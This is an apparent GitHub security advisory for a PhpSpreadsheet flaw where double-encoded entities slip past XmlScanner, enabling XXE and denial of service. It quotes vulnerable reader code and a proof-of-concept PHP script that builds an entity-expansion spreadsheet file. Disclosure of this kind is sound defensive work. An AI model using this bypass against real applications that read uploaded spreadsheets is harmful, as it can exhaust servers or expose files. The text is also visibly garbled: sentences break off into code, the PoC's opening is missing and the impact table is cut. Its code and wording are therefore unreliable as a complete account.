GitHub Advisoryadvisory · Packagist
GHSA-rxj4-h86g-25gc PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
HIGH
Official page ↗
- Aliases
- CVE-2026-108357
- Ecosystem
- Packagist
- Packages
- phpoffice/phpspreadsheet
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N
- Weaknesses
- CWE-611, CWE-776
- Reviewed
- 2026-10-27
Affected packages
• Packagist phpoffice/phpspreadsheet: >= 4.0.0, < 5.10.0 → fixed in 5.10.0
• Packagist phpoffice/phpspreadsheet: >= 3.3.0, < 3.10.8 → fixed in 3.10.8
Description
Summary
The SpreadsheetML XML reader (`Reader\Xml`) scans file content twice through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` after the pattern check. By double-encoding the `toUtf8($xml);
if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8)
throw new Exception('Detected use of ENTITY...');
}
if ($this->callback !== null) {
$xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
}
return $xml; // getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content
```
3. `Xml::trySimpleXMLLoadStringPrivate()` (Xml.php, lines 120–150) — re-scans the stored content:
```php
$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
$this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);
```
The double-scan decode chain:
```
Raw file: &#60;!DOCTYPE
|
1st scan(): pattern check → no match (no "' . "\n"
. '' . "\n"
. '&#60;!DOCTYPE Workbook [' . "\n"
. ' &#60;!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '' . "\n"
. ' ' . "\n"
. ' ' . $refs . '' . "\n"
. ' ' . "\n"
. '';
file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
```
Run: `php -d memory_limit=512M poc_toctou.php`
Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).
Hex variant: Replace `&#60;` with `&#x3C;` — both are decoded by `html_entity_decode()`.
Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
Impact
| Attack | PHP ` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.
Related
Alias · CVE (1)
- CVE-2026-108357 PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. vulnerability
References
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc web
- https://nvd.nist.gov/vuln/detail/CVE-2026-108357 advisory
- https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781 web
- https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738 web
- https://github.com/PHPOffice/PhpSpreadsheet package
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8 web
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0 web